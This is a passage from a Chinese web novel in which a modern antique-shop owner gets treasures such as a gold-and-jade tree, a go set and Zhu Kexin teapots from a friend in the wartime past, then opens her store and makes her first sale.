话还没说完，就被苏娇娇震惊地打断，萧妧妧微微一顿，脸上的表情变得正经严肃。 她沉默了一小会儿，“罪证，侵略者的罪证。” 苏娇娇神情出现片刻空白，似乎感到有些意外，但很快又冷静下来，复杂难言的愤怒情绪占据了她的大脑。 “他们对外籍记者下手，那……”惊愕过后，苏娇娇恍然大悟，笃定开口：“我明白了，录像带里记下了见不得光的画面，所以他们不计代价的追杀她。” 萧妧妧：“娇娇姐，我想和你商量的就是这件事，你打算拿录像带回去怎么做？” 苏娇娇重重捶了下桌子，义愤填膺：“曝光！要让全世界的人知道他们在我们的土地上做了什么！” 萧妧妧舔了舔唇，小心翼翼地问：“那么，娇娇姐有办法公开录像带内容吗？” 仿佛一盆冷水当头浇下，原本气势汹汹的苏娇娇瞬间愣住了。 她缓缓坐回椅子上，整个人如同泄了气的皮球，显得无比颓丧。 “现在……你知道的，情况复杂，我甚至无法保证它的安全。” 就连能不能让录像曝光在公众视线里，苏娇娇也拿不准。 “娇娇姐，你想听听我的想法吗？”萧妧妧握住苏娇娇的手，“我想，这应该是风险最小，代价最小的方法。” 苏娇娇浑身一震，用力回握住萧妧妧的手，眼含期待。 如她所料，说服苏娇娇非常简单。 得知萧妧妧打算把录像带捐去博物馆，苏娇娇不由松了口气。 “妧妧，这事真的要谢谢你，”苏娇娇语气郑重：“我不知道要把它给谁，也不知道它能不能有曝光的机会。” 萧妧妧：“是我要谢你把它带来，才让它免于淹没在时间长河里，让真相被道出。” 苏娇娇像找到了志同道合的朋友，嘴角微扬，露出一抹温柔的笑容。 “我们俩就不要那么客气了，我同意你把它捐赠出去，”苏娇娇倏然微笑，目光缥缈，“我真想知道你那里是什么模样。” 萧妧妧仔细观察，迟钝发觉苏娇娇情绪不太对。 两人年纪差不太多，萧妧妧成天傻乐，二十多岁还像个小孩子，而苏娇娇，背负了太多沉重，不敢放下不能放下，坚定的向前。 萧妧妧心疼她，但言语是苍白的，任何安慰说出来都显得轻飘。 眼珠子一转，萧妧妧想到怎么安慰她了。 “这很容易，喏，我有电视机。”她打开电视机，补充：“你一直不问，我以为你对未来不感兴趣呢。” 苏娇娇紧张地交握双手，不知该看手机还是要看电视。 “并非如此，看到你生活得幸福快乐，又看到此地安宁平和，我知道这里的一切肯定都是极好的。能知晓这些，于我而言已然足矣。” 仅仅只是冰山一角，看到了后世的繁华，便已经给了她无限的勇气与信念。 她担心了解太多，会过度沉溺于未来美好景象之中而无法自拔，不敢再窥探，所以一直忍着。 萧妧妧打开电视，搜索视频投屏，下定决心务必让苏娇娇全方位地见识未来。 “不、不用了，”苏娇娇拉住她胳膊阻止，声音哽咽，“能看到这些我很满足了。” 萧妧妧转头，发现苏娇娇热泪盈眶，深深凝视着她的手机屏幕。 小小的画面里，有广袤无垠的农田里，金黄麦浪随风翻滚，孩童欢笑着穿梭；有连绵起伏的壮丽山川，云雾缭绕其间，太阳升起落下；有一架架飞机在跑道上升降，轰鸣声震耳欲聋，然后翱翔天际；威风凛凛的军舰静静停泊在港湾，飘扬旗帜下是一张张坚毅面容。 苏娇娇只窥见这一点点，便已心热如火，狂波激荡。 萧妧妧见她重新振作起来，昂扬着头颅，嗯了一声，停下动作。 苏娇娇平复情绪后，缓声说起另一件事。 “对了，我离开前交待管家帮忙收集古董，这次来也是想把它们带给你。” 【作者有话说】 看到营养液数量超过了收藏，高兴没一会又觉得心酸[可怜] 感谢为我灌溉的宝子们~[亲亲][亲亲] 读者“今日上上签”,灌溉营养液 +13 读者“藏月水寒”,灌溉营养液 +1 读者“ww”,灌溉营养液 +1 62 第62章 ◎惊喜连连◎ “它们？是不是有很多？” “都是古董吗？是不是花了很多金条？” “最近生意不错,赚了很多，娇娇姐你缺金子跟我说，我再给你一些。” 说到这，萧妧妧可就不困了,麻雀一样叽叽喳喳。 苏娇娇只微笑摇头,一副神秘兮兮的样子,“你等我一会,马上便知道了。” 难得见她卖关子，萧妧妧的好奇心瞬间被勾了起来,搓着手团团转。 没等她转第二圈，苏娇娇抱着两大盒子回来,看她吃力的表情、绷紧的胳膊，礼盒份量绝对不轻。 她小心翼翼将它们放在圆桌上,做出“请”的手势，示意萧妧妧揭开盒子。 萧妧妧哪里忍得住,憨笑两声迫不及待上前,掀开盒盖的一角。 身子稍稍俯下时,金光从缝隙中一闪而过,萧妧妧眼睛猛地一亮,脸上立刻浮现出惊喜的神色。 等盖子全部揭开，宝贝露出真容，萧妧妧倒吸一口气，不由自主地惊叹出声。 “天呐！它好美！” 萧妧妧见识到了真正的金枝玉叶,璀璨夺目的光芒令她目眩神迷、目瞪口呆、目不暇接。 摆在面前的是一棵树。 它有纯金枝干，每一根枝条都雕琢了纹路,显得极为精细； 它有翠玉叶片,大小、颜色深浅不一,薄薄一片，玉工连渐变都考虑进去，一眼看过去碧绿如茵，温润如玉，摇曳间清脆悦耳，美妙动人； 它有珍珠果实，3J车厘子那么大的金珍珠点缀其间，若隐若现； 它有红色珠花，辨别不出种类的红色珠子串成花朵，错落有致地分布在金枝头。 它被“栽种”在一个精美的陶盆里，而陶盆里，是大小相差无几的白珍珠，它们密密麻麻地堆积在一起，形成“珍珠泥土”，将整棵树稳稳地托起。 连盆带树，高度大约有五六十厘米左右，在小卖部的灯光照耀下，珠光宝气，整间铺子都因它熠熠生辉，不可谓不壮观。 苏娇娇留出足够时间给她欣赏，等萧妧妧上上下下看了一遍又一遍，她缓缓开口介绍。 “它叫金枝玉叶，我嫂嫂的陪嫁之一，枝干内里用的是紫檀木，外面包的真金，据说融了五百两黄金。 叶片用翡翠雕成，共计420片，金珠18颗，因为我嫂嫂是十八那年出嫁。 对了，还有藏在叶片里的红花，用的是珊瑚，一朵18颗，共20朵。 至于盆里的珍珠，原先是999颗，嫂嫂把玩时不慎遗失两颗，后来寻了新珠子补上，大小虽不是完全一致，但在众多珠子里很难看出差别。” 萧妧妧震撼到失语，嘴巴半张着，能塞下一个鸡蛋。 看得出来这棵“金枝玉叶”被主人好好养护着，搭配在一起本该俗气的色彩，却只觉得惊艳。 她情不自禁上手，指尖轻轻拨弄两下叶片，心也跟着颤了两下，赶紧扶住，免得让她碰碎了。 “喏，这是我记的账单，你若出手也好心里有数。” 萧妧妧接过纸条展开一看，嚯了一声。 100根小黄鱼，换算过来是5000克，再换算一下，现金大约320万。 换这么个宝贝，萧妧妧有种赚大了的感觉。 视线下移，她看到了第二件宝贝的买入价，整整250根小黄鱼！ 她又快速地重读了一遍，心中的惊讶与好奇愈发强烈起来，比“金枝玉叶”贵了一倍还多，这是什么稀世珍宝啊？ 萧妧妧暗自嘀咕两句，心跳跟着加快了节奏，见苏娇娇没有阻拦的意思，她果断掀开了第二个盒子。 相较于第一个而言，它略微扁平一些，两个盒子摆在一起显得不那么起眼，但谁能想到它价值竟远超前者。 萧妧妧抱着极高的期待，以为够见到一件光芒四射、令人惊艳不已的宝物，看清盒中的物品后，神色稍显失望。 盒子里的宝贝并不耀眼，甚至造型也不够华丽奇特。 它是一套围棋，有点特别的是，棋盘棋盅棋子分开保存，黑白两色棋子一枚一枚的陷在绒布铺设的凹槽里。 单看外表，萧妧妧对它的第一印象是过度包装，可转念一想，250根小黄鱼买下的宝贝怎么也不能平平无奇吧？ 萧妧妧找来手电，戴上乳胶手套，捏起一黑一白两颗棋子躺在手心里，低头细看。 “娇娇姐，白子是砗磲做的？” 看了好一会，萧妧妧语气飘忽的开口确认，似乎不敢相信自己的判断。 学得不多，刚好考到了重点。 这里的砗磲指得是深海里沉淀了千万年的砗磲化石原贝，和珊瑚、玳瑁、象牙一样，都属于很刑的那类。 砗磲本身的价值暂且不提，由它制成的围棋子具有极高收藏价值，收藏圈非常受欢迎。 傅教授直播时说过这么一句，可遇不可求。 而现在，可遇不可求的宝贝捏在手里由她把玩，萧妧妧不太自信。 怕自己闹出笑话，她又仔细辨别了一会。 棋子洁净、圆润，无裂无瑕无纹路，通体白色看不到一点杂色，和她戴过的象牙比质感上有点差别，显然是经过精心挑选、打磨。 具体差在哪，萧妧妧一时半会想不出形容词，但反正不是同一种东西。 苏娇娇投来赞赏的目光，“妧妧真厉害，能看出砗磲。没错，白子确实是砗磲，我大伯费了不少工夫集齐了180子。” 萧妧妧被她夸得脸红，她确实和博主学习了不少古董知识，只是距离一眼辨别的程度还差很远。 她是根据价格倒推，筛选出她所知道的白色宝石，再排除象牙的选项，一点点推理。 萧妧妧强压下内心炽热情绪，谦虚两句，目光转移到神秘的黑子上。 手电灯光打下去，幽幽绿光从黑子内部透射而出，色泽纯正。 调转角度举到眼前，黑子内部有不规则石棉，小小一点，可忽略不计。 透光度不佳、有灰白色石棉、表面色泽深光泽好、透绿色光……翡翠的特性它均有，萧妧妧基本可以断定，黑子由上好的翡翠制成。 透绿色光这一点可以排除是黑翡翠的可能，其他黑色宝石里，有类似特征的并不多。 综合各种信息，再搜索一遍她所了解的深色翡翠，萧妧妧惊疑不定地问：“……是墨玉还是墨翠？” 萧妧妧只听博主讲解过知识点，没能见识到墨玉的风采，且墨玉墨翠肉眼看本就相似，半吊子的她根本拿不准。 苏娇娇听她嘀嘀咕咕半天，分析出结果找她对答案，笑吟吟说：“你猜对了，是墨翠。 黑子共181颗，听大伯说，为了凑齐它们一共用了三块料子。 有杂质的不能要、石棉多的不能要、有绺和裂痕的更不能要……淘汰了那些才留下的181枚黑子，说万里挑一夸张了些，千里挑一还是属实的。” 萧妧妧是真见世面了，老祖宗真会玩啊。 她手上这一枚墨翠，瞧着不起眼，小几万肯定是有的，具体价格不了解，得看行情。 而这样的墨翠棋子，盒子里共有180枚…… 萧妧妧差点让惊喜冲得失去表情管理，眼睛瞪得圆溜溜，半天说不出话。 苏娇娇见她露出又呆又憨的模样，忍不住捂嘴偷笑。 萧妧妧意识到自己失态，深吸一口气，定了定神。 她双手并拢，小心翼翼将两枚棋子放回木匣子里，晃晃晕乎乎的脑袋瓜，看一眼棋盘，再转头，眼巴巴瞅着苏娇娇。 萧妧妧没学会怎么看木料，只能求助苏娇娇讲解。 苏娇娇心领神会，微笑着开口：“棋盘和棋盅的用料是紫檀木，大伯辗转多地请来御用工匠制作，整版整料，精工雕花，只一个棋盘就耗费了数月功夫。” “嚯！” 后半句，苏娇娇加重语气强调，浅浅学过一点知识的萧妧妧发出没见过世面的低呼。 本就是名贵木材，还是整版整料，可见有多难得。 萧妧妧惊愕过后涌出一股欣喜，再低头去看棋盘，表面光泽亮丽，边沿刻有卷草纹样做装饰。 而一旁的棋盅，内里精心打磨，细腻光滑，一尘不染，盖与身雕了寓意吉祥的四蝠捧福禄寿纹，显得格外华丽。 许年华前脚说有买家特别喜爱收藏围棋，后脚苏娇娇给她送来了，瞌睡送枕头，正好省去她的麻烦。 萧妧妧只有一点顾虑，担心那位有元人吃不下。 刚刚没忍住，用系统估价功能扫描了一下，“金枝玉叶”估价790万，全套围棋更是翻了好几倍，达到了4300万的高价。 这还是系统学会了国人“保守”品格后给出的价格，只这一件，她投进去的本金就已经翻倍赚回来了。 萧妧妧有点腿软，还有点忐忑。 “娇娇姐，它们……真的能用金条换回来？” 就当她见识少吧，眼前的围棋在她眼里是不可多得的好东西，可以一代代传下去的宝贝，哪能轻易交出去。 即便买下它们的金条已经不算少，萧妧妧还是认为，太便宜了。 “是啊，都是好东西，伯父当年为了集齐这套棋，砸进去不少钱，”苏娇娇唏嘘：“不瞒你说，若不是我买下他们，嫂嫂和伯父还不知道该拿他们怎么办。” 云城大家族中，有十几户打算去国外置业，他们都在想法子出售带不走的珍宝，换成金银细软方便上路、或是积攒东山再起的资本。 供大于求，价格自然是一降再降，然而买得起的人并不多，尤其是出得起金子的人。 局势动荡，黄金价格飙涨，一根金条能买来一条人命，在这样的时代背景下，没人愿意花350根小黄鱼买围棋。 要不说她运气好呢。 伯父得了资金，萧妧妧得了宝贝，皆大欢喜。 “不说了，我还有几样东西没拿来呢。” 苏娇娇迅速回神，又给了萧妧妧一个惊喜。 63 第63章 ◎眼睛一亮又一亮◎ “啊,还有？” 萧妧妧坐不住了，伸长了脖子，脑袋使劲往前探，大眼睛紧紧盯着结界。 古色古香的卧房里,大圆桌摆在正中间,桌上则整齐地堆叠着好几个礼盒。 虽然数量不少,但它们全部加在一起,却还比不上“金枝玉叶”的大礼盒来得引人注目。 她指了指圆桌，问：“不会是它们吧？” 苏娇娇甩了甩胳膊,“是它们，东西太多,只能多跑几趟了。” 前面那两件大家伙是真的沉，要不是想看萧妧妧又惊又喜的样子,她是不会逞强一次性搬过来的。 苏娇娇折返回去，抱来四个盒子,小圆桌已经被堆得满满当当,没有多余空间,转身将它们放在玻璃柜台上。 萧妧妧满心欢喜,一瘸一拐走到柜台边。 “我记得你曾经跟我说过想要一些茶壶之类的东西,正好，一个世伯是资深收藏家。 他最爱的那几套瓷壶日日要用，已经占了一个大行李箱，剩下的这些因为实在太多带不走,扔了舍不得，卖了又没人收,他听说我感兴趣,索性都送给我了,没花什么金子。 喏，就是这几件，世伯说客人拜访时送的，制壶的匠人名气虽不显，但技艺属实不错，迟早会大放光彩，世伯很看好他们，说是很有收藏价值。” 苏娇娇一边解释茶壶由来，一边打开其中三个礼盒的盖子。 萧妧妧听说是没名气的匠人，小小失望了片刻，又听她评价有收藏价值，好奇再度勾起。 她接过苏娇娇递来的茶壶，双手捧住，小心翼翼在眼前旋转，端详。 这把紫砂壶的造型倒是颇为传统，属于再常见不过的提梁式设计。 与现代那些五花八门、标新立异的款式相比，可以说是相当中规中矩。 也许正是它简约而经典的风格，赋予了它别样的韵味和魅力，萧妧妧说不出个一二三，但能品味出它的美。 至于怎么辨别紫砂壶品质的优劣，她一窍不通，多瞅几眼，把这个艰巨的任务交给专业的估价系统来处理。 萧妧妧没抱希望，随意一瞥，看见200万的估价，她震惊了。 “！！！”她忍不住低声惊呼。 苏娇娇见她神情淡淡，以为是不满意，正准备开口向她介绍第四件藏品的时候，萧妧妧霎时间瞪大双眼，脸上满是惊愕之色。 同样的表情，在展示“金枝玉叶”时出现过。 苏娇娇笑着打趣：“怎么一副见了鬼的样子。” 意识到手心里的小玩意价值200万，萧妧妧手心微汗，手掌紧紧拢起，防止紫砂壶滑脱。 她顾不上回应苏娇娇，谨慎捧着紫砂壶旋转一圈，寻找到款识，紧盯片刻分辨一会，萧妧妧脸上浮现出恍然大悟的神情。 “不是见鬼，是见到我的大宝贝了！” 苏娇娇更纳闷了，侧过身，探究的目光落在紫砂壶上。 萧妧妧稍稍挪了挪身子，将茶壶上的款识显露出来。 “看，盖款恺长、刻款云石，”萧妧妧语调微微上扬，难掩内心的激动之情，“说恺长可能知道的人不多，但他还有一个名字，朱可心！” 苏娇娇对紫砂壶所知甚少，茫然问：“朱可心……很厉害？” 萧妧妧哽住，转念一想，情有可原，苏娇娇那个年代，一代宗师朱可心差不多二三十岁左右，名气可能还没传播开？ 不像现在，许多人即便不了解朱可心，或多或少有听说过朱可心紫砂壶，知道它价格高，很受收藏圈追捧。 “朱可心是近代紫砂‘七大老艺人’之一，存世作品稀少，市场上流通交易的更是少之又少……”说到一半，萧妧妧停顿一会，热切凝视手上的提梁壶： “这么说来，这应该是他的早期作品，恺长是他原名，后来才更名为我们熟知的‘朱可心’。而这位云石，则是近现代声名远扬的紫砂陶刻大师级人物。” 怪她学艺不精，一开始没能辨认出那盖款上面的字，好在有系统帮忙。 苏娇娇总算听明白了，她那个年代名声不显的紫砂壶匠人，未来会是一代宗师，壶艺名家！ “天啊，这么珍贵的好东西，差点糟蹋了……”苏娇娇不禁连连惊叹，想起什么，兴奋招呼她，“妧妧你快来看第二件，这件也是朱可心的作品。” 萧妧妧眼睛一亮又一亮，提梁壶放回礼盒中，转而去看第二件藏品。 准确说是一个套组，一把小巧玲珑的茶壶，配两只造型别致的茶杯。 套组应该比单个壶更贵吧？ 萧妧妧不确定，估价功能打开一扫描，看到价格的她再次震惊了。 同样是早期作品，不过是多了两个小茶杯，价格翻了三倍！ 萧妧妧高兴得差点喊出声，急吼吼捧起第二件扁扁的紫砂壶。 小小一只，摆在手里能完全拢住，要是用它来泡茶的话，估计一壶水还没等品出什么滋味儿来，差不多就要见底了。 而这样一个看似不起眼的小东西，系统给出的估价竟然高达680万元！ 她左看看右看看，想知道到底哪里值这么多钱。 可惜，萧妧妧看不懂紫砂壶，只知道它手感润、容量小，对嘴喝刚刚好，但也仅止于此。 萧妧妧哇了好几声，欣赏了好一会才放回礼盒，去看第三件。 “这件出自我们那里的壶艺名家，成名不过五六年？” 苏娇娇开始努力回想着之前世伯跟她说过的话，并向萧妧妧复述，语气有些不确定。 她对收藏茶壶没兴趣，对什么壶艺名家就更不了解了，世伯解释时左耳进右耳出，随便听听而已，根本没往心里去。 要不是看萧妧妧对紫砂壶知道的比较多，苏娇娇根本不打算回忆。 萧妧妧一听是名家作品，按捺不住，迫不及待捧起来。 同样是套组，一茶壶六茶杯，和前面两件款式不太一样，这件壶身要更高一点，掀开盖*子瞄一眼，萧妧妧估摸一下，能装一听可乐。 再去看款识，萧妧妧一脸懵。 她知道朱可心已经是这段时间疯狂补课后的成果，其他名家她真没听说过几个。 老流程，交给估价系统扫一遍，再掏出手机搜索上面的盖款。 萧妧妧认出一个舟字，没等她找到哪些名字里有舟字的壶艺名家，系统完成扫描，价格赤裸裸展示在图片下方。 她心想这茶壶再怎么贵，最多跟朱可心大师所制的茶壶价格不相上下吧，搞不好还比不上呢，结果看到价格，萧妧妧吓了一大跳，呆立当场。 “！！！？？？” 780万，这是正经茶壶吗？ 萧妧妧已经做不出震惊表情了，或者说一直处于震惊中，心脏像是要跳出嗓子眼儿似的。 她吞了吞口水，颤抖着双手把茶壶放回去，盖上礼盒盖子，生怕一不小心摔了它。 苏娇娇不解：“你这是……” 萧妧妧声线飘忽：“没见过这世面。” 苏娇娇一琢磨，马上反应过来，肯定又是一个好东西。 她捂嘴笑：“我懂了，肯定又是一件不可多得的好东西。世伯果然没骗我，它们确实值得收藏。” 想想看，买下它们时才多少钱，过了百十年却翻了数不清多少倍。 天呐，幸好世伯没有把它们丢下！ 苏娇娇迟钝的恍悟过来，为什么萧妧妧会看上那些她认为“不起眼”的小东西。 萧妧妧回过神，拿出一个沉甸甸的大木匣。 “娇娇姐，这几锭是补你的金子，你买它们花了不少，我算了下，补你5500克，”萧妧妧拨出一小摞金锭，又把木匣连带金子一起推出去：“剩下的这些有20000克，拜托你继续为我搜罗些古董。” 申明月给的金锭还没焐热，萧妧妧就花出去一半，但她花得心甘情愿。 金子出手变现不易，这一折腾换成现金反倒方便些，何况她手里还剩下6万多克，足够应急。 萧妧妧环顾桌上、柜台上的几件宝贝，它们卖出手后，现金存款肯定能超过6、7千万。 投资主题乐园暂时不太可能，其他产业倒是可以试试。 据她所知，黎家兄弟俩眼光独到，投什么什么赚，跟着主角团投，不会亏。 畅想一番，萧妧妧的喜悦之情简直难以言表。 果然，“走私”最赚钱。 一回生二回熟，苏娇娇爽快利落地接了匣子。 “对了，第四件是什么？不会也是茶壶吧？” 一连收到三件紫砂壶，萧妧妧有点担心它们进入市场拉低价格。 苏娇娇摇摇头，抽出最为小巧的盒子。 “是一支牙雕彩绘牡丹，小玩意，胜在做工精巧，也是世伯送来的。” 萧妧妧已经无法正确对待苏娇娇所谓的“小玩意”“不值钱”，她带着质疑的目光看向最后一个盒子。 “哇……它好漂亮。” 它美得令人窒息，美到萧妧妧眼睛都看直了，她努力克制内心想要触摸的冲动，仅用眼神描绘每一处细节和轮廓。 牙雕牡丹约有20厘米长，尺寸恰到好处，非常适合拿在手中把玩欣赏。 花朵和她撑开的手掌一般大，花瓣层层叠叠地簇拥，每一片花瓣的纹理和色泽无一重复。 不仅如此，花枝和叶片也同样刻画得极为精细，纹路脉络清晰可见，细腻而逼真，宛如真实生长在那里。 乍一看去，仿佛能嗅到馥郁的香气。 萧妧妧发誓，哪怕它能卖出天价，也要把它留下珍藏。 【作者有话说】 天塌了，本周要更2.1万…… 感谢读者“小瑶没吃饱”扔了1个地雷 感谢读者“隺翯”,灌溉营养液 +10 感谢读者“藏月水寒”,灌溉营养液 +2 爱你们[亲亲][亲亲] 64 第64章 ◎新店开业◎ 苏娇娇见她想碰不敢碰,可见是真心喜欢，心里越发得意。 不枉费她花了半日工夫挑挑拣拣。 “这几日有大行动要配合，最近恐怕没时间过来，你等我好消息。” 萧妧妧了然,剧情开始了,想必接下来的日子里,苏娇娇要忙得连轴转。 “我这点小事不着急,娇娇姐只管忙便是，万一有情况需要联系你,小卖部会出现在你面前。” 说是这么说，萧妧妧却不打算或者说不敢随便联络她。 所谓的互动升级,卖方可主动联系买家，说白了是结界主动出现在客户面前,像关不掉的弹窗广告一样。 任务过程中稍有差错便是万劫不复，萧妧妧不敢冒险,担心因为她联系得不是时候,让苏娇娇分心走神。 简单交谈几句,苏娇娇转身要回去,萧妧妧这边也同样有着一堆事情等待她去处理。 当务之急是将那几件宝贝塞进系统空间,其次是处理录像带。 一番深思熟虑后，她打算匿名捐赠。 破译甲骨文获得悬赏金的新闻，仍稳稳占据着热搜榜前列，凡是认出萧妧妧的,都从月亮号上找来确认。 有真心实意前来恭喜祝贺的，有好奇打听背后故事的,当然也少不了前来卖惨借钱的,萧妧妧应接不暇。 麻烦虽多,但带来的好处也是显而易见——不破斋成功地刷了一波存在感。 不少人知道月牙巷188号有个古董铺，买卖货真价实的古董、老物件。 尤其她新设的店铺账号，已经吸引了七八万人关注。 萧妧妧点进APP看到99+的小红点，差点以为自己遭遇网暴了。 要是再上一次新闻，不敢想会发展成什么样，还是保持低调行事更为妥当。 挑几个和店铺相关的留言认真予以回复，便匆匆退出了界面。 她敲字的片刻工夫里，蹭蹭涨了百来个粉，以至于手机出现卡顿情况。 趁着现在热度居高不下，萧妧妧回到后面的不破斋，又拍一个完整的店铺宣传视频挂上去，进一步提升店铺的知名度。 视频剪辑上传后，夜幕已然笼罩，萧妧妧活动一下她的老胳膊老腿，叫唤着离开188号。 周一是古董铺开业的日子。 萧妧妧拖着仍旧酸疼的身体，缓慢挪到店铺里忙着开业事宜。 招牌挂上青砖院墙，花篮在院子正门处排开摆放，等电子鞭炮响几声烘托出热闹气氛，不破斋冷冷清清的开业了。 意外的是，许年华送来了两个开业花篮。 更意外的是，黎行聿竟然也送了花篮来。 萧妧妧站在花篮前，看一眼上面的祝福语和落款，一时间有些摸不着头脑。 许年华好说，两人有来有往挺熟络了，甚至给她介绍过生意，黎行聿这是什么意思？自己与他的交情似乎没到这地步啊。 萧妧妧苦思冥想了一会，猜测是出于基本的社交礼仪吧。 想到这里，萧妧妧掏出手机，分别给他们发去感谢信息。 和许年华已经很熟悉了，没必要太客套，真诚一些足够了，黎行聿的花篮出乎意料，且和他的关系比不上许年华，所以要热情一点。 琢磨一阵，确认没有遗漏和错误之后，萧妧妧点击发送，这事算是忙完了。 站在院中央，左边是小卖部，右边是古董铺，左右看看，萧妧妧不禁笑出声。 这要是两边同时来客人，她可真不知道该先顾着哪一个。 “恭喜萧老板新店开业。” 说曹操曹操到，新店开业的第一个客人不知不觉出现在院子大门口。 萧妧妧以为会是文字博物馆的韩叔最先上门，听到声音时颇有些意外。 “黎行聿？” 萧妧妧又确认一遍，周一、正常工作日、早上九点，他怎么这时候过来了？ 来者是客，萧妧妧忙迎上去，领着他进了院子。 黎行聿打量院子，很快便把目光落在了一旁的开放式古董铺。 萧妧妧则不着痕迹地打量黎行聿。 前几次见他时多是穿着西装，虽说衣服剪裁得体，像量身定制一样完美，但也让他散发出浓烈的精英气息，沉闷之余显得气势过盛。 而当他穿上运动装时，则完全展现出另一种风格，好身材展露无疑，萧妧妧不好直白地盯着看。 今天打扮得恰到好处，令人眼前一亮。 一件宽松白衬衫罩在身上，领口略低，微敞着露出锁骨，慵懒随性不经意间流露出来。 袖子松松挽起半截，露出结实手臂和机械感十足的腕表，增添了一份硬朗与时尚。 下半身搭配了一条同色系的宽松长西裤，显腰身比例的同时更显腿长。 整体造型看似日常低调，实际暗藏玄机，因为这一整套都出自某大牌的秀场款。 男模穿它时会敞开上衣门襟，毫不吝啬展示自己的胸肌腹肌，风流潇洒。 同样的套装穿在黎行聿身上，既休闲自在，又不失时髦浪漫，虽然变得保守许多，却是另一种气质，毫不逊色于那些专业的英俊男模特。 不说年龄，谁能看得出他是快三十的人。 感受到扑面而来的清爽与亲和，萧妧妧当时就双眼放光，险些忍不住脱口而出一声“哇哦”。 她情不自禁地多瞄了几眼，看他迈步进了铺子，收敛心神跟上。 “黎行聿你眼光真好，这是我偶然得到的和田玉青白玉瓶，名字叫‘神女奔月’。 别看匠人名气不显，但雕刻技艺精湛，你看，瓶身图案不仅复杂，且还采用浮雕技术，很有收藏价值。” 见他驻足在门边的多宝架附近，微微俯身，目光专注地望着玉瓶，萧妧妧顺势介绍。 毕竟是九族严选的宫廷玉器，雕工、玉料，亦或是设计，都值得单拎出来细说一番。 萧妧妧很自信，只有黎行聿找不到合心意的，绝不存在找不到好东西的可能。 察觉到黎行聿目光停留的有些久，萧妧妧识趣地拿来手电筒和放大镜递给他，顺便抱起玉瓶挪到桌子上，由他品评。 “青白玉不宜靠近热源，也不宜放在阳光直射的地方，换个位置可能更适合它们。” 黎行聿半侧过身，示意多宝架上其他几件青白玉雕出的小摆件，轻声提醒她。 “热源……” 萧妧妧一脸懵逼回身，经他提醒后，看到多个射灯正对架子上的摆件，早晨的太阳照进屋里，好巧不巧打在多宝架上，瞬间明白了他的好意，语气急促的道谢。 第一天营业，萧妧妧为了让店铺看着亮堂些，把室□□灯全部打开，务必要把每件宝贝都衬托的莹润剔透，结果反倒是办坏事了。 萧妧妧尴尬地吐了吐舌，脸颊飞速涨红。 亏她前面说得头头是道，现在好了，一个小细节毁了她的人设，显得她这个古董铺老板很不专业。 “你真厉害，连怎么保养青白玉都知道，”真心实意的赞叹一句，萧妧妧眨巴眼睛望向黎行聿，“对了，为什么青白玉不能被太阳直射？除了你刚才提到的两点，是不是还有些大家不知道的保养禁忌？” 或许是和他比较熟悉，又或者他提醒的语气温和，更像是好友间的闲聊，萧妧妧没办法把他当正儿八经的客人招待。 她一边关掉屋□□灯，一边琢磨着把玉器挪到其他位置，一边又像个好学生似的不耻下问。 有些知识点过于细微，鉴宝博主并不会提，萧妧妧又没有经过系统性的学习，很难灵活运用知识，时刻注意玉器、木料、丝织品等等东西的保养宜忌。 担心自己错过重要知识点，萧妧妧干脆掏出自己自学用的笔记本，翻到玉石的分类，在保养的类目里写下注意事项。 萧妧妧一手抱着本子，一手拿笔，像犯错的学生，拘谨地挪到他身侧，歪着脑袋看过来，眼巴巴等他讲错题。 黎行聿忍住笑意，指了指旁边的椅子示意她坐下，而后俯身撑着桌子，另一手捏住手电在玉瓶上四处移动。 “高品质的玉石可以适当接触阳光，除此之外的大部分玉石最好是避免长时间光照。比如，青白玉遇热易膨胀，可能出现褪色、开裂等情况……” 萧妧妧听他讲解，手上动作不停，很快写了半页纸。 “错了，”黎行聿指尖点了点笔记上的某一行，“是金丝玉。” 萧妧妧动作一顿，突然有一种高中时被学霸补课的窘迫感。 她晃晃脑袋，哦了一声，行末划上句号，笔尖挪到上面改正错误。 等黎行聿浏览一遍笔记，没再说什么，萧妧妧悄悄松了一口气。 “黎行聿，你大学学得真不是珠宝玉石吗？”她半好奇半打趣的说。 黎行聿摇头：“家里人喜欢收藏……” “……耳濡目染？”萧妧妧了然地接下后半句话。 黎行聿浅笑点头。 萧妧妧再次感叹：“那你可真厉害，这么多知识点，记得比科普的知识类博主都清楚。” 黎行聿又讲解了几条青白玉的保养禁忌，算是常识类，萧妧妧听着听着觉得有点耳熟，忽然记起自己看视频学习时有听到过。 遗憾的是，她很快忘在了脑后，不像黎行聿，不仅知道的一清二楚，甚至能说出个一二三并运用起来。 黎行聿不紧不慢的说：“没你说得那么厉害，多犯几次错也就记住了。” 萧妧妧想说别开玩笑，这玩意犯一次错就够赔的了，可想到黎行聿是霸总他哥，大霸总，沉默了。 “包起来吧，晚一点会有人过来取。” 讲解完知识点，黎行聿也完成了玉瓶的品鉴，搁下手电筒的同时，留下了不破斋开店以来真正意义上的第一单。 萧妧妧愣住了，仰头看他，加重语气向他确认，“你是说，要买它？” 他甚至没关心一句价格，回想起来，黎行聿买棒棒糖都比买古董要仔细。 做这一行的有一句话，三年不开张，开张吃三年，萧妧妧开业前已经卖出去几件，加上送去拍卖行的几样东西托底，成交量说出去只怕没人信。 她以为是一时运气好，正式开业后恐怕要遇冷。 想到这里，腰腿酸疼的萧妧妧索性选择偷懒，先给寄卖的商品贴了标价，其他大部分物件暂时搁置。 反正有系统在，等客人感兴趣临时估价也不迟。 哪知道开业当天就迎来了大客户，不仅没问价格，下单还格外爽快，给她搞不会了。 黎行聿回望她眼睛：“对，买它。” 萧妧妧喜上眉梢，巴不得有人下单呢。 “新店开业有九折优惠，看在咱们是朋友的份上，再给你九折……承惠530万。” 安排估价系统扫描，她在计算器上按出价格，噼里啪啦一通，推给他看。 黎行聿扫了一眼，没什么特别反应，很快挪开目光，环顾店铺其他角落。 “不着急，我……” 说话间，黎行聿的余光瞥到桌子正中间的一套茶壶，话音不由停顿。 【作者有话说】 这周日更，明天继续 感谢小瑶没吃饱，扔了1个地雷 感谢隺翯,灌溉营养液+5 [猫头][猫头][猫头] 65 第65章 ◎顾景舟紫砂壶◎ 萧妧妧偏头,顺着他的视线，注意力转移到桌子正中间。 “黎行聿，你的眼光是真好啊。”萧妧妧半是叹息半是感慨的说。 不是她奉承顾客，恰恰是黎行聿看中的这套茶壶,正是苏娇娇送来的紫砂壶套组。 萧妧妧敢摸着良心说,紫砂壶绝对能算不破斋的镇店之宝,货真价实的古董。 黎行聿的眼睛就像是扫描仪,一进门便看中了价格不菲的青白玉瓶，紧跟着又看上了什么舟的紫砂壶。 